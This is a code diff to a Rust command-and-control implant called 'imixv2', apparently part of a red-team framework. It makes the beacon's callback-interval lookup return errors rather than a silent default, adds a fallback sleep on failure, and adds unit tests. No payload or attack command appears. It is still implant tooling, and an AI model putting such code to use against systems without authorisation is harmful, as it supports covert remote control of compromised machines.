diff --git a/implants/imixv2/src/agent.rs b/implants/imixv2/src/agent.rs index 054052cf5..4dcfd3597 100644 --- a/implants/imixv2/src/agent.rs +++ b/implants/imixv2/src/agent.rs @@ -42,13 +42,17 @@ impl ImixAgent { } } - pub fn get_callback_interval_u64(&self) -> u64 { + pub fn get_callback_interval_u64(&self) -> Result { // Blocks on read, but it's fast - if let Ok(cfg) = self.config.try_read() { - cfg.info.as_ref().map(|b| b.interval).unwrap_or(5) - } else { - 5 - } + let cfg = self + .config + .try_read() + .map_err(|_| anyhow::anyhow!("Failed to acquire read lock on config"))?; + let info = cfg + .info + .as_ref() + .ok_or_else(|| anyhow::anyhow!("No beacon info in config"))?; + Ok(info.interval) } // Triggers config.refresh_primary_ip() in a write lock @@ -343,7 +347,7 @@ impl Agent for ImixAgent { } fn get_callback_interval(&self) -> Result { - Ok(self.get_callback_interval_u64()) + self.get_callback_interval_u64().map_err(|e| e.to_string()) } fn set_callback_interval(&self, interval: u64) -> Result<(), String> { diff --git a/implants/imixv2/src/run.rs b/implants/imixv2/src/run.rs index 6d6b83f8c..99c3b2167 100644 --- a/implants/imixv2/src/run.rs +++ b/implants/imixv2/src/run.rs @@ -43,7 +43,12 @@ pub async fn run_agent() -> Result<()> { break; } - sleep_until_next_cycle(&agent, start).await; + if let Err(e) = sleep_until_next_cycle(&agent, start).await { + #[cfg(debug_assertions)] + log::error!("Failed to sleep: {e:#}"); + // Prevent tight loop on config read failure + tokio::time::sleep(Duration::from_secs(5)).await; + } } #[cfg(debug_assertions)] @@ -117,8 +122,8 @@ async fn process_tasks(agent: &ImixAgent, registry: &TaskRegist } } -async fn sleep_until_next_cycle(agent: &ImixAgent, start: Instant) { - let interval = agent.get_callback_interval_u64(); +async fn sleep_until_next_cycle(agent: &ImixAgent, start: Instant) -> Result<()> { + let interval = agent.get_callback_interval_u64()?; let delay = match interval.checked_sub(start.elapsed().as_secs()) { Some(secs) => Duration::from_secs(secs), None => Duration::from_secs(0), @@ -130,4 +135,5 @@ async fn sleep_until_next_cycle(agent: &ImixAgent, start: Insta delay.as_secs() ); tokio::time::sleep(delay).await; + Ok(()) } diff --git a/implants/imixv2/src/tests/callback_interval_test.rs b/implants/imixv2/src/tests/callback_interval_test.rs new file mode 100644 index 000000000..30cac198b --- /dev/null +++ b/implants/imixv2/src/tests/callback_interval_test.rs @@ -0,0 +1,39 @@ +use super::super::agent::ImixAgent; +use super::super::task::TaskRegistry; +use eldritch_libagent::agent::Agent; +use pb::config::Config; +use std::sync::Arc; +use transport::MockTransport; + +#[tokio::test] +async fn test_imix_agent_get_callback_interval_error() { + let mut config = Config::default(); + config.info = None; // Ensure no beacon info to trigger error + + let transport = MockTransport::default(); + let handle = tokio::runtime::Handle::current(); + let registry = Arc::new(TaskRegistry::new()); + let agent = ImixAgent::new(config, transport, handle, registry); + + let result = agent.get_callback_interval_u64(); + assert!(result.is_err()); + assert!(result.unwrap_err().to_string().contains("No beacon info")); +} + +#[tokio::test] +async fn test_imix_agent_get_callback_interval_success() { + let mut config = Config::default(); + config.info = Some(pb::c2::Beacon { + interval: 10, + ..Default::default() + }); + + let transport = MockTransport::default(); + let handle = tokio::runtime::Handle::current(); + let registry = Arc::new(TaskRegistry::new()); + let agent = ImixAgent::new(config, transport, handle, registry); + + let result = agent.get_callback_interval_u64(); + assert!(result.is_ok()); + assert_eq!(result.unwrap(), 10); +} diff --git a/implants/imixv2/src/tests/mod.rs b/implants/imixv2/src/tests/mod.rs index 58913778a..5f779a8b1 100644 --- a/implants/imixv2/src/tests/mod.rs +++ b/implants/imixv2/src/tests/mod.rs @@ -1,3 +1,4 @@ mod agent_tests; mod task_tests; mod agent_trait_tests; +mod callback_interval_test;